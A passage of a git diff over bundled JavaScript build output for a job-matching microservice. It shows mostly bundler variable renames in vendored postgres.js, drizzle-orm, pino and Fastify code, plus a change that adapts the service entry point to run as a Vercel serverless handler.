theLevel) { - const theFunc = logger[funcName]; + const theFunc = logger2[funcName]; if (typeof theFunc === "function" && maxLevel >= theLevel) { - return theFunc.bind(logger); + return theFunc.bind(logger2); } return function() { }; @@ -50850,16 +50850,16 @@ var init_diag = __esm({ constructor() { function _logProxy(funcName) { return function(...args) { - const logger = getGlobal("diag"); - if (!logger) + const logger2 = getGlobal("diag"); + if (!logger2) return; - return logger[funcName](...args); + return logger2[funcName](...args); }; } const self2 = this; - const setLogger = (logger, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { + const setLogger = (logger2, optionsOrLogLevel = { logLevel: DiagLogLevel.INFO }) => { var _a3, _b, _c; - if (logger === self2) { + if (logger2 === self2) { const err = new Error("Cannot use diag as the logger for itself. Please use a DiagLogger implementation like ConsoleDiagLogger or a custom implementation"); self2.error((_a3 = err.stack) !== null && _a3 !== void 0 ? _a3 : err.message); return false; @@ -50870,7 +50870,7 @@ var init_diag = __esm({ }; } const oldLogger = getGlobal("diag"); - const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger); + const newLogger = createLogLevelDiagLogger((_b = optionsOrLogLevel.logLevel) !== null && _b !== void 0 ? _b : DiagLogLevel.INFO, logger2); if (oldLogger && !optionsOrLogLevel.suppressOverrideMessage) { const stack = (_c = new Error().stack) !== null && _c !== void 0 ? _c : ""; oldLogger.warn(`Current logger will be overwritten from ${stack}`); @@ -55265,7 +55265,7 @@ var noop2 = () => { function Subscribe(postgres2, options) { const subscribers = /* @__PURE__ */ new Map(), slot = "postgresjs_" + Math.random().toString(36).slice(2), state = {}; let connection2, stream, ended = false; - const sql2 = subscribe.sql = postgres2({ + const sql3 = subscribe.sql = postgres2({ ...options, transform: { column: {}, value: {}, row: {} }, max: 1, @@ -55281,26 +55281,26 @@ function Subscribe(postgres2, options) { return; stream = null; state.pid = state.secret = void 0; - connected(await init(sql2, slot, options.publications)); + connected(await init(sql3, slot, options.publications)); subscribers.forEach((event) => event.forEach(({ onsubscribe }) => onsubscribe())); }, no_subscribe: true }); - const end = sql2.end, close = sql2.close; - sql2.end = async () => { + const end = sql3.end, close2 = sql3.close; + sql3.end = async () => { ended = true; stream && await new Promise((r) => (stream.once("close", r), stream.end())); return end(); }; - sql2.close = async () => { + sql3.close = async () => { stream && await new Promise((r) => (stream.once("close", r), stream.end())); - return close(); + return close2(); }; return subscribe; async function subscribe(event, fn, onsubscribe = noop2, onerror = noop2) { event = parseEvent(event); if (!connection2) - connection2 = init(sql2, slot, options.publications); + connection2 = init(sql3, slot, options.publications); const subscriber = { fn, onsubscribe }; const fns = subscribers.has(event) ? subscribers.get(event).add(subscriber) : subscribers.set(event, /* @__PURE__ */ new Set([subscriber])).get(event); const unsubscribe = () => { @@ -55311,7 +55311,7 @@ function Subscribe(postgres2, options) { connected(x); onsubscribe(); stream && stream.on("error", onerror); - return { unsubscribe, state, sql: sql2 }; + return { unsubscribe, state, sql: sql3 }; }); } function connected(x) { @@ -55319,14 +55319,14 @@ function Subscribe(postgres2, options) { state.pid = x.state.pid; state.secret = x.state.secret; } - async function init(sql3, slot2, publications) { + async function init(sql4, slot2, publications) { if (!publications) throw new Error("Missing publication names"); - const xs = await sql3.unsafe( + const xs = await sql4.unsafe( `CREATE_REPLICATION_SLOT ${slot2} TEMPORARY LOGICAL pgoutput NOEXPORT_SNAPSHOT` ); const [x] = xs; - const stream2 = await sql3.unsafe( + const stream2 = await sql4.unsafe( `START_REPLICATION SLOT ${slot2} LOGICAL ${x.consistent_point} (proto_version '1', publication_names '${publications}')` ).writable(); const state2 = { @@ -55334,14 +55334,14 @@ function Subscribe(postgres2, options) { }; stream2.on("data", data); stream2.on("error", error51); - stream2.on("close", sql3.close); + stream2.on("close", sql4.close); return { stream: stream2, state: xs.state }; function error51(e) { console.error("Unexpected error during logical streaming - reconnecting", e); } function data(x2) { if (x2[0] === 119) { - parse(x2.subarray(25), state2, sql3.options.parsers, handle, options.transform); + parse(x2.subarray(25), state2, sql4.options.parsers, handle, options.transform); } else if (x2[0] === 107 && x2[17]) { state2.lsn = x2.subarray(1, 9); pong(); @@ -55473,22 +55473,22 @@ function parseEvent(x) { // node_modules/.pnpm/postgres@3.4.9/node_modules/postgres/src/large.js import Stream2 from "stream"; -function largeObject(sql2, oid, mode = 131072 | 262144) { +function largeObject(sql3, oid, mode = 131072 | 262144) { return new Promise(async (resolve, reject) => { - await sql2.begin(async (sql3) => { + await sql3.begin(async (sql4) => { let finish; - !oid && ([{ oid }] = await sql3`select lo_creat(-1) as oid`); - const [{ fd }] = await sql3`select lo_open(${oid}, ${mode}) as fd`; + !oid && ([{ oid }] = await sql4`select lo_creat(-1) as oid`); + const [{ fd }] = await sql4`select lo_open(${oid}, ${mode}) as fd`; const lo = { writable, readable, - close: () => sql3`select lo_close(${fd})`.then(finish), - tell: () => sql3`select lo_tell64(${fd})`, - read: (x) => sql3`select loread(${fd}, ${x}) as data`, - write: (x) => sql3`select lowrite(${fd}, ${x})`, - truncate: (x) => sql3`select lo_truncate64(${fd}, ${x})`, - seek: (x, whence = 0) => sql3`select lo_lseek64(${fd}, ${x}, ${whence})`, - size: () => sql3` + close: () => sql4`select lo_close(${fd})`.then(finish), + tell: () => sql4`select lo_tell64(${fd})`, + read: (x) => sql4`select loread(${fd}, ${x}) as data`, + write: (x) => sql4`select lowrite(${fd}, ${x})`, + truncate: (x) => sql4`select lo_truncate64(${fd}, ${x})`, + seek: (x, whence = 0) => sql4`select lo_lseek64(${fd}, ${x}, ${whence})`, + size: () => sql4` select lo_lseek64(${fd}, location, 0) as position, seek.size @@ -55563,12 +55563,12 @@ function Postgres(a, b2) { let ending = false; const queries = queue_default(), connecting = queue_default(), reserved = queue_default(), closed = queue_default(), ended = queue_default(), open = queue_default(), busy = queue_default(), full = queue_default(), queues = { connecting, reserved, closed, ended, open, busy, full }; const connections = [...Array(options.max)].map(() => connection_default(options, queues, { onopen, onend, onclose })); - const sql2 = Sql(handler); - Object.assign(sql2, { + const sql3 = Sql(handler); + Object.assign(sql3, { get parameters() { return options.parameters; }, - largeObject: largeObject.bind(null, sql2), + largeObject: largeObject.bind(null, sql3), subscribe, CLOSE, END: CLOSE, @@ -55577,17 +55577,17 @@ function Postgres(a, b2) { reserve, listen, begin, - close, + close: close2, end }); - return sql2; + return sql3; function Sql(handler2) { handler2.debug = options.debug; Object.entries(options.types).reduce((acc, [name, type]) => { acc[name] = (x) => new Parameter(x, type.to); return acc; }, typed); - Object.assign(sql3, { + Object.assign(sql4, { types: typed, typed, unsafe, @@ -55596,11 +55596,11 @@ function Postgres(a, b2) { json: json3, file: file2 }); - return sql3; + return sql4; function typed(value, type) { return new Parameter(value, type); } - function sql3(strings, ...args) { + function sql4(strings, ...args) { const query = strings && Array.isArray(strings.raw) ? new Query(strings, args, handler2, cancel) : typeof strings === "string" && !args.length ? new Identifier(options.transform.column.to ? options.transform.column.to(strings) : strings) : new Builder(strings, args); return query; } @@ -55631,7 +55631,7 @@ function Postgres(a, b2) { } async function listen(name, fn, onlisten) { const listener = { fn, onlisten }; - const sql3 = listen.sql || (listen.sql = Postgres({ + const sql4 = listen.sql || (listen.sql = Postgres({ ...options, max: 1, idle_timeout: null, @@ -55655,7 +55655,7 @@ function Postgres(a, b2) { listener.onlisten && listener.onlisten(); return { state: result2.state, unlisten }; } - channels[name] = { result: sql3`listen ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; + channels[name] = { result: sql4`listen ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`, listeners: [listener] }; const result = await channels[name].result; listener.onlisten && listener.onlisten(); return { state: result.state, unlisten }; @@ -55666,11 +55666,11 @@ function Postgres(a, b2) { if (channels[name].listeners.length) return; delete channels[name]; - return sql3`unlisten ${sql3.unsafe('"' + name.replace(/"/g, '""') + '"')}`; + return sql4`unlisten ${sql4.unsafe('"' + name.replace(/"/g, '""') + '"')}`; } } async function notify(channel, payload) { - return await sql2`select pg_notify(${channel}, ${"" + payload})`; + return await sql3`select pg_notify(${channel}, ${"" + payload})`; } async function reserve() { const queue = queue_default(); @@ -55682,12 +55682,12 @@ function Postgres(a, b2) { move(c, reserved); c.reserved = () => queue.length ? c.execute(queue.shift()) : move(c, reserved); c.reserved.release = true; - const sql3 = Sql(handler2); - sql3.release = () => { + const sql4 = Sql(handler2); + sql4.release = () => { c.reserved = null; onopen(c); }; - return sql3; + return sql4; function handler2(q) { c.queue === full ? queue.push(q) : c.execute(q) || move(c, full); } @@ -55697,7 +55697,7 @@ function Postgres(a, b2) { const queries2 = queue_default(); let savepoints = 0, connection2, prepare = null; try { - await sql2.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); + await sql3.unsafe("begin " + options2.replace(/[^a-z ]/ig, ""), [], { onexecute }).execute(); return await Promise.race([ scope(connection2, fn), new Promise((_, reject) => connection2.onclose = reject) @@ -55706,29 +55706,29 @@ function Postgres(a, b2) { throw error51; } async function scope(c, fn2, name) { - const sql3 = Sql(handler2); - sql3.savepoint = savepoint; - sql3.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); + const sql4 = Sql(handler2); + sql4.savepoint = savepoint; + sql4.prepare = (x) => prepare = x.replace(/[^a-z0-9$-_. ]/gi); let uncaughtError, result; - name && await sql3`savepoint ${sql3(name)}`; + name && await sql4`savepoint ${sql4(name)}`; try { result = await new Promise((resolve, reject) => { - const x = fn2(sql3); + const x = fn2(sql4); Promise.resolve(Array.isArray(x) ? Promise.all(x) : x).then(resolve, reject); }); if (uncaughtError) throw uncaughtError; } catch (e) { - await (name ? sql3`rollback to ${sql3(name)}` : sql3`rollback`); + await (name ? sql4`rollback to ${sql4(name)}` : sql4`rollback`); throw e instanceof PostgresError && e.code === "25P02" && uncaughtError || e; } if (!name) { - prepare ? await sql3`prepare transaction '${sql3.unsafe(prepare)}'` : await sql3`commit`; + prepare ? await sql4`prepare transaction '${sql4.unsafe(prepare)}'` : await sql4`commit`; } return result; function savepoint(name2, fn3) { if (name2 && Array.isArray(name2.raw)) - return savepoint((sql4) => sql4.apply(sql4, arguments)); + return savepoint((sql5) => sql5.apply(sql5, arguments)); arguments.length === 1 && (fn3 = name2, name2 = null); return scope(c, fn3, "s" + savepoints++ + (name2 ? "_" + name2 : "")); } @@ -55788,7 +55788,7 @@ function Postgres(a, b2) { )) ]).then(() => clearTimeout(timer2)); } - async function close() { + async function close2() { await Promise.all(connections.map((c) => c.end())); } async function destroy(resolve) { @@ -55828,7 +55828,7 @@ function Postgres(a, b2) { function parseOptions(a, b2) { if (a && a.shared) return a; - const env = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env.PGHOST || "localhost", port = o.port || url2.port || env.PGPORT || 5432, user = o.user || o.username || url2.username || env.PGUSERNAME || env.PGUSER || osUsername(); + const env2 = process.env, o = (!a || typeof a === "string" ? b2 : a) || {}, { url: url2, multihost } = parseUrl(a), query = [...url2.searchParams].reduce((a2, [b3, c]) => (a2[b3] = c, a2), {}), host = o.hostname || o.host || multihost || url2.hostname || env2.PGHOST || "localhost", port = o.port || url2.port || env2.PGPORT || 5432, user = o.user || o.username || url2.username || env2.PGUSERNAME || env2.PGUSER || osUsername(); o.no_prepare && (o.prepare = false); query.sslmode && (query.ssl = query.sslmode, delete query.sslmode); "timeout" in o && (console.log("The timeout option is deprecated, use idle_timeout instead"), o.idle_timeout = o.timeout); @@ -55854,24 +55854,24 @@ function parseOptions(a, b2) { host: Array.isArray(host) ? host : host.split(",").map((x) => x.split(":")[0]), port: Array.isArray(port) ? port : host.split(",").map((x) => parseInt(x.split(":")[1] || port)), path: o.path || host.indexOf("/") > -1 && host + "/.s.PGSQL." + port, - database: o.database || o.db || (url2.pathname || "").slice(1) || env.PGDATABASE || user, + database: o.database || o.db || (url2.pathname || "").slice(1) || env2.PGDATABASE || user, user, - pass: o.pass || o.password || url2.password || env.PGPASSWORD || "", + pass: o.pass || o.password || url2.password || env2.PGPASSWORD || "", ...Object.entries(defaults).reduce( (acc, [k, d]) => { - const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env["PG" + k.toUpperCase()] || d; + const value = k in o ? o[k] : k in query ? query[k] === "disable" || query[k] === "false" ? false : query[k] : env2["PG" + k.toUpperCase()] || d; acc[k] = typeof value === "string" && ints.includes(k) ? +value : value; return acc; }, {} ), connection: { - application_name: env.PGAPPNAME || "postgres.js", + application_name: env2.PGAPPNAME || "postgres.js", ...o.connection, ...Object.entries(query).reduce((acc, [k, v]) => (k in defaults || (acc[k] = v), acc), {}) }, types: o.types || {}, - target_session_attrs: tsa(o, url2, env), + target_session_attrs: tsa(o, url2, env2), onnotice: o.onnotice, onnotify: o.onnotify, onclose: o.onclose, @@ -55883,8 +55883,8 @@ function parseOptions(a, b2) { ...mergeUserTypes(o.types) }; } -function tsa(o, url2, env) { - const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env.PGTARGETSESSIONATTRS; +function tsa(o, url2, env2) { + const x = o.target_session_attrs || url2.searchParams.get("target_session_attrs") || env2.PGTARGETSESSIONATTRS; if (!x || ["read-write", "read-only", "primary", "standby", "prefer-standby"].includes(x)) return x; throw new Error("target_session_attrs " + x + " is not supported"); @@ -56639,10 +56639,10 @@ function pgEnumObjectWithSchema(enumName, values2, schema) { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/subquery.js var Subquery = class { static [entityKind] = "Subquery"; - constructor(sql2, fields, alias, isWith = false, usedTables = []) { + constructor(sql3, fields, alias, isWith = false, usedTables = []) { this._ = { brand: "Subquery", - sql: sql2, + sql: sql3, selectedFields: fields, alias, isWith, @@ -57040,19 +57040,19 @@ function sql(strings, ...params) { } return new SQL(queryChunks); } -((sql2) => { +((sql22) => { function empty() { return new SQL([]); } - sql2.empty = empty; + sql22.empty = empty; function fromList(list) { return new SQL(list); } - sql2.fromList = fromList; + sql22.fromList = fromList; function raw(str) { return new SQL([new StringChunk(str)]); } - sql2.raw = raw; + sql22.raw = raw; function join(chunks, separator) { const result = []; for (const [i, chunk] of chunks.entries()) { @@ -57063,24 +57063,24 @@ function sql(strings, ...params) { } return new SQL(result); } - sql2.join = join; + sql22.join = join; function identifier(value) { return new Name(value); } - sql2.identifier = identifier; + sql22.identifier = identifier; function placeholder2(name2) { return new Placeholder(name2); } - sql2.placeholder = placeholder2; + sql22.placeholder = placeholder2; function param2(value, encoder) { return new Param(value, encoder); } - sql2.param = param2; + sql22.param = param2; })(sql || (sql = {})); ((SQL2) => { class Aliased { - constructor(sql2, fieldAlias) { - this.sql = sql2; + constructor(sql22, fieldAlias) { + this.sql = sql22; this.fieldAlias = fieldAlias; } static [entityKind] = "SQL.Aliased"; @@ -59900,8 +59900,8 @@ var PgDialect = class { return "none"; } } - sqlToQuery(sql2, invokeSource) { - return sql2.toQuery({ + sqlToQuery(sql22, invokeSource) { + return sql22.toQuery({ casing: this.casing, escapeName: this.escapeName, escapeParam: this.escapeParam, @@ -62260,10 +62260,10 @@ var PgRelationalQuery = class extends QueryPromise { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/query-builders/raw.js var PgRaw = class extends QueryPromise { - constructor(execute, sql2, query, mapBatchResult) { + constructor(execute, sql3, query, mapBatchResult) { super(); this.execute = execute; - this.sql = sql2; + this.sql = sql3; this.query = query; this.mapBatchResult = mapBatchResult; } @@ -62583,8 +62583,8 @@ var NoopCache = class extends Cache { async onMutate(_params) { } }; -async function hashQuery(sql2, params) { - const dataToHash = `${sql2}-${JSON.stringify(params)}`; +async function hashQuery(sql3, params) { + const dataToHash = `${sql3}-${JSON.stringify(params)}`; const encoder = new TextEncoder(); const data = encoder.encode(dataToHash); const hashBuffer = await crypto.subtle.digest("SHA-256", data); @@ -62717,8 +62717,8 @@ var PgSession = class { ).all(); } /** @internal */ - async count(sql2, token) { - const res = await this.execute(sql2, token); + async count(sql22, token) { + const res = await this.execute(sql22, token); return Number( res[0]["count"] ); @@ -62755,12 +62755,12 @@ var PgTransaction = class extends PgDatabase { // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/postgres-js/session.js var PostgresJsPreparedQuery = class extends PgPreparedQuery { - constructor(client, queryString, params, logger, cache, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { + constructor(client, queryString, params, logger2, cache, queryMetadata, cacheConfig, fields, _isResponseInArrayMode, customResultMapper) { super({ sql: queryString, params }, cache, queryMetadata, cacheConfig); this.client = client; this.queryString = queryString; this.params = params; - this.logger = logger; + this.logger = logger2; this.fields = fields; this._isResponseInArrayMode = _isResponseInArrayMode; this.customResultMapper = customResultMapper; @@ -62902,11 +62902,11 @@ function construct(client, config2 = {}) { client.options.serializers["114"] = transparentParser; client.options.serializers["3802"] = transparentParser; const dialect = new PgDialect({ casing: config2.casing }); - let logger; + let logger2; if (config2.logger === true) { - logger = new DefaultLogger(); + logger2 = new DefaultLogger(); } else if (config2.logger !== false) { - logger = config2.logger; + logger2 = config2.logger; } let schema; if (config2.schema) { @@ -62920,14 +62920,14 @@ function construct(client, config2 = {}) { tableNamesMap: tablesConfig.tableNamesMap }; } - const session = new PostgresJsSession(client, dialect, schema, { logger, cache: config2.cache }); - const db = new PostgresJsDatabase(dialect, session, schema); - db.$client = client; - db.$cache = config2.cache; - if (db.$cache) { - db.$cache["invalidate"] = config2.cache?.onMutate; + const session = new PostgresJsSession(client, dialect, schema, { logger: logger2, cache: config2.cache }); + const db2 = new PostgresJsDatabase(dialect, session, schema); + db2.$client = client; + db2.$cache = config2.cache; + if (db2.$cache) { + db2.$cache["invalidate"] = config2.cache?.onMutate; } - return db; + return db2; } function drizzle(...params) { if (typeof params[0] === "string") { @@ -78569,7 +78569,7 @@ var idempotencyKeys = pgTable( // packages/db/src/client.ts function createDatabase(options) { - const sql2 = src_default(options.url, { + const sql3 = src_default(options.url, { max: options.singleConnection === true ? 1 : options.maxConnections ?? 10, // Prepared statements are disabled because pgbouncer in transaction mode // (the deployment target) cannot support them. @@ -78577,18 +78577,18 @@ function createDatabase(options) { onnotice: options.onNotice ?? (() => { }) }); - const db = drizzle(sql2, { schema: schema_exports }); + const db2 = drizzle(sql3, { schema: schema_exports }); return { - db, - sql: sql2, + db: db2, + sql: sql3, close: async () => { - await sql2.end({ timeout: 5 }); + await sql3.end({ timeout: 5 }); } }; } -async function pingDatabase(sql2) { +async function pingDatabase(sql3) { try { - await sql2`SELECT 1`; + await sql3`SELECT 1`; return true; } catch { return false; @@ -78720,6 +78720,21 @@ function childTrace(parent, overrides = {}) { }; } +// packages/utils/src/vercel.ts +function createVercelHandler(app2) { + const ready = Promise.resolve(app2.ready()); + ready.catch(() => void 0); + return async (req, res) => { + await ready; + app2.server.emit("request", req, res); + }; +} +var SERVERLESS_PLACEHOLDER_PORT = "3000"; +function withServerlessEnvDefaults(source = process.env) { + if (!source.VERCEL) return source; + return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; +} + // packages/messaging/src/memory-broker.ts var MemoryBroker = class { registrations = /* @__PURE__ */ new Map(); @@ -79063,12 +79078,12 @@ function createMetricsRegistry(serviceName) { } // packages/observability/src/fastify.ts -function registerHttpMetrics(app, metrics2) { - app.decorateRequest("metricsStartTime", void 0); - app.addHook("onRequest", async (request) => { +function registerHttpMetrics(app2, metrics2) { + app2.decorateRequest("metricsStartTime", void 0); + app2.addHook("onRequest", async (request) => { request.metricsStartTime = process.hrtime.bigint(); }); - app.addHook("onResponse", async (request, reply) => { + app2.addHook("onResponse", async (request, reply) => { const route = request.routeOptions.url ?? request.url; const labels = { method: request.method, route, status_code: String(reply.statusCode) }; metrics2.httpRequestsTotal.inc(labels); @@ -79078,16 +79093,16 @@ function registerHttpMetrics(app, metrics2) { } }); } -function metricsRoute(app, metrics2) { - app.get("/metrics", async (_request, reply) => { +function metricsRoute(app2, metrics2) { + app2.get("/metrics", async (_request, reply) => { reply.header("content-type", metrics2.registry.contentType); return metrics2.registry.metrics(); }); } // services/matching/src/http/routes/health.ts -function healthRoute(app, deps) { - app.get("/health", async (_request, reply) => { +function healthRoute(app2, deps) { + app2.get("/health", async (_request, reply) => { const dbOk = await pingDatabase(deps.sql); const brokerOk = deps.broker.isHealthy(); const body = { @@ -79108,7 +79123,7 @@ var STATUS_TO_CODE = { 429: "RATE_LIMITED" }; function buildApp(deps) { - const app = (0, import_fastify.default)({ + const app2 = (0, import_fastify.default)({ // See services/auth/src/app.ts for why this cast is needed: pino's Logger // type and Fastify's FastifyBaseLogger disagree on a structural detail // that doesn't matter at runtime. @@ -79117,14 +79132,14 @@ function buildApp(deps) { trustProxy: true, genReqId: () => newUuid() }); - void app.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); - void app.register(import_rate_limit.default, { + void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); + void app2.register(import_rate_limit.default, { max: deps.env.RATE_LIMIT_MAX, timeWindow: deps.env.RATE_LIMIT_WINDOW }); const metrics2 = createMetricsRegistry("matching-service"); - registerHttpMetrics(app, metrics2); - app.setErrorHandler((error51, request, reply) => { + registerHttpMetrics(app2, metrics2); + app2.setErrorHandler((error51, request, reply) => { if (error51 instanceof ZodError) { reply.status(400).send({ error: { @@ -79155,14 +79170,14 @@ function buildApp(deps) { const appError = toAppError(error51); reply.status(appError.statusCode).send(appError.toResponse(request.id)); }); - app.setNotFoundHandler((request, reply) => { + app2.setNotFoundHandler((request, reply) => { reply.status(404).send({ error: { code: "NOT_FOUND", message: "Route not found", request_id: request.id } }); }); - healthRoute(app, deps); - metricsRoute(app, metrics2); - return app; + healthRoute(app2, deps); + metricsRoute(app2, metrics2); + return app2; } // services/matching/src/env.ts @@ -79202,28 +79217,28 @@ function toJob(row) { updated_at: row.updatedAt }; } -async function findJobById(db, jobId) { - const [row] = await db.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); +async function findJobById(db2, jobId) { + const [row] = await db2.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.jobId, jobId)).limit(1); return row ? toJob(row) : null; } var RESCORE_BATCH_LIMIT = 500; -async function listActiveJobs(db, limit = RESCORE_BATCH_LIMIT) { - const rows = await db.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.isActive, true)).orderBy(desc(schema_exports.jobs.createdAt)).limit(limit); +async function listActiveJobs(db2, limit = RESCORE_BATCH_LIMIT) { + const rows = await db2.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.isActive, true)).orderBy(desc(schema_exports.jobs.createdAt)).limit(limit); return rows.map(toJob); } -async function findLatestParsedProfile(db, userId) { - const [row] = await db.select({ parsedProfile: schema_exports.resumes.parsedProfile }).from(schema_exports.resumes).where(and(eq(schema_exports.resumes.userId, userId), eq(schema_exports.resumes.status, "parsed"))).orderBy(desc(schema_exports.resumes.parsedAt)).limit(1); +async function findLatestParsedProfile(db2, userId) { + const [row] = await db2.select({ parsedProfile: schema_exports.resumes.parsedProfile }).from(schema_exports.resumes).where(and(eq(schema_exports.resumes.userId, userId), eq(schema_exports.resumes.status, "parsed"))).orderBy(desc(schema_exports.resumes.parsedAt)).limit(1); return row?.parsedProfile ?? null; } -async function listCandidateUserIds(db, limit = RESCORE_BATCH_LIMIT) { - const rows = await db.select({ userId: schema_exports.resumes.userId }).from(schema_exports.resumes).where(eq(schema_exports.resumes.status, "parsed")).orderBy(desc(schema_exports.resumes.parsedAt)).limit(limit); +async function listCandidateUserIds(db2, limit = RESCORE_BATCH_LIMIT) { + const rows = await db2.select({ userId: schema_exports.resumes.userId }).from(schema_exports.resumes).where(eq(schema_exports.resumes.status, "parsed")).orderBy(desc(schema_exports.resumes.parsedAt)).limit(limit); return [...new Set(rows.map((row) => row.userId))]; } // services/matching/src/repo/scores.ts -async function upsertScore(db, input) { +async function upsertScore(db2, input) { const now = (/* @__PURE__ */ new Date()).toISOString(); - await db.insert(schema_exports.jobScores).values({ + await db2.insert(schema_exports.jobScores).values({ jobId: input.jobId, userId: input.userId, score: input.score, @@ -79335,19 +79350,20 @@ async function registerConsumers(deps) { } // services/matching/src/index.ts -async function main() { - const env = loadMatchingServiceEnv(); - const logger = createLogger({ service: "matching-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); - const { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); - const broker = createBroker({ - driver: env.MESSAGING_DRIVER, - url: env.RABBITMQ_URL, - exchange: env.MESSAGING_EXCHANGE, - maxRetries: env.MESSAGING_MAX_RETRIES, - logger - }); - const app = buildApp({ db, sql: sql2, env, logger, broker }); - const subscriptions = await registerConsumers({ db, broker, logger }); +var env = loadMatchingServiceEnv(withServerlessEnvDefaults()); +var logger = createLogger({ service: "matching-service", level: env.LOG_LEVEL, pretty: env.LOG_PRETTY }); +var { db, sql: sql2, close } = createDatabase({ url: env.DATABASE_URL, maxConnections: env.DATABASE_POOL_MAX }); +var broker = createBroker({ + driver: env.MESSAGING_DRIVER, + url: env.RABBITMQ_URL, + exchange: env.MESSAGING_EXCHANGE, + maxRetries: env.MESSAGING_MAX_RETRIES, + logger +}); +var app = buildApp({ db, sql: sql2, env, logger, broker }); +var subscriptions = await registerConsumers({ db, broker, logger }); +var index_default = createVercelHandler(app); +if (!process.env.VERCEL) { const shutdown = async (signal) => { logger.info({ signal }, "shutting down"); await Promise.all(subscriptions.map((subscription) => subscription.stop())); @@ -79360,10 +79376,10 @@ async function main() { process.on("SIGINT", () => void shutdown("SIGINT")); await app.listen({ host: env.HOST, port: env.PORT }); } -main().catch((error51) => { - console.error(error51); - process.exit(1); -}); +export { + app, + index_default as default +}; /*! Bundled license information: amqplib/lib/defs.js: diff --git a/api/outreach/index.js b/api/outreach/index.js index 22adea4..b20d7b5 100644 --- a/api/outreach/index.js +++ b/api/outreach/index.js @@ -2688,7 +2688,7 @@ var require_transport = __commonJS({ function flush(stream) { stream.flushSync(); } - function transport(fullOptions) { + function transport2(fullOptions) { const { pipeline, targets, levels, dedupe, worker = {}, caller = getCallers(), sync = false } = fullOptions; const options = { ...fullOptions.options @@ -2759,7 +2759,7 @@ var require_transport = __commonJS({ return fixTarget2; } } - module.exports = transport; + module.exports = transport2; } }); @@ -2791,7 +2791,7 @@ var require_tools = __commonJS({ msgPrefixSym } = require_symbols(); var { isMainThread } = __require("worker_threads"); - var transport = require_transport(); + var transport2 = require_transport(); var [nodeMajor] = process.versions.node.split(".").map((v) => Number(v)); var asJsonChan = diagChan.tracingChannel("pino_asJson"); var asString = nodeMajor >= 25 ? (str) => JSON.stringify(str) : _asString; @@ -3028,7 +3028,7 @@ var require_tools = __commonJS({ if (opts.customLevels) { customLevels = opts.useOnlyCustomLevels ? opts.customLevels : Object.assign({}, opts.levels, opts.customLevels); } - stream = transport({ caller, ...opts.transport, levels: customLevels }); + stream = transport2({ caller, ...opts.transport, levels: customLevels }); } opts = Object.assign({}, defaultOptions, opts); opts.serializers = Object.assign({}, defaultOptions.serializers, opts.serializers); @@ -10463,13 +10463,13 @@ var require_format = __commonJS({ var defs = require_defs(); var format = __require("util").format; var HEARTBEAT = require_frame().HEARTBEAT; - module.exports.closeMessage = function(close) { - var code = close.fields.replyCode; + module.exports.closeMessage = function(close2) { + var code = close2.fields.replyCode; return format( '%d (%s) with message "%s"', code, defs.constant_strs[code], - close.fields.replyText + close2.fields.replyText ); }; module.exports.methodName = function(id) { @@ -21626,8 +21626,8 @@ var require_log_controller = __commonJS({ * @param {import('../fastify').FastifyBaseLogger} logger * @param {import('../fastify').FastifyInstance} server */ - serviceUnavailable(logger, server) { - logger.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); + serviceUnavailable(logger2, server) { + logger2.info({ res: { statusCode: 503 } }, "request aborted - refusing to accept new requests as server is closing"); } }; module.exports = { LogController }; @@ -21674,20 +21674,20 @@ var require_logger_pino = __commonJS({ } const prevLogger = opts.logger; const prevGenReqId = opts.genReqId; - let logger = null; + let logger2 = null; if (prevLogger) { opts.logger = void 0; opts.genReqId = void 0; if (prevLogger[serializersSym]) { opts.serializers = Object.assign({}, opts.serializers, prevLogger[serializersSym]); } - logger = prevLogger.child({}, opts); + logger2 = prevLogger.child({}, opts); opts.logger = prevLogger; opts.genReqId = prevGenReqId; } else { - logger = pino2(opts, opts.stream); + logger2 = pino2(opts, opts.stream); } - return logger; + return logger2; } var serializers2 = { req: function asReqValue(req) { @@ -21730,22 +21730,22 @@ var require_logger_factory = __commonJS({ kLogController } = require_symbols3(); var { LogController } = require_log_controller(); - function createChildLogger(context2, logger, req, reqId, loggerOpts) { + function createChildLogger(context2, logger2, req, reqId, loggerOpts) { const loggerBindings = { [context2.server[kLogController].requestIdLogLabel]: reqId }; - const child = context2.childLoggerFactory.call(context2.server, logger, loggerBindings, loggerOpts || {}, req); + const child = context2.childLoggerFactory.call(context2.server, logger2, loggerBindings, loggerOpts || {}, req); if (context2.childLoggerFactory !== defaultChildLoggerFactory) { validateLogger(child, true); } return child; } - function defaultChildLoggerFactory(logger, bindings, opts) { - return logger.child(bindings, opts); + function defaultChildLoggerFactory(logger2, bindings, opts) { + return logger2.child(bindings, opts); } - function validateLogger(logger, strict) { + 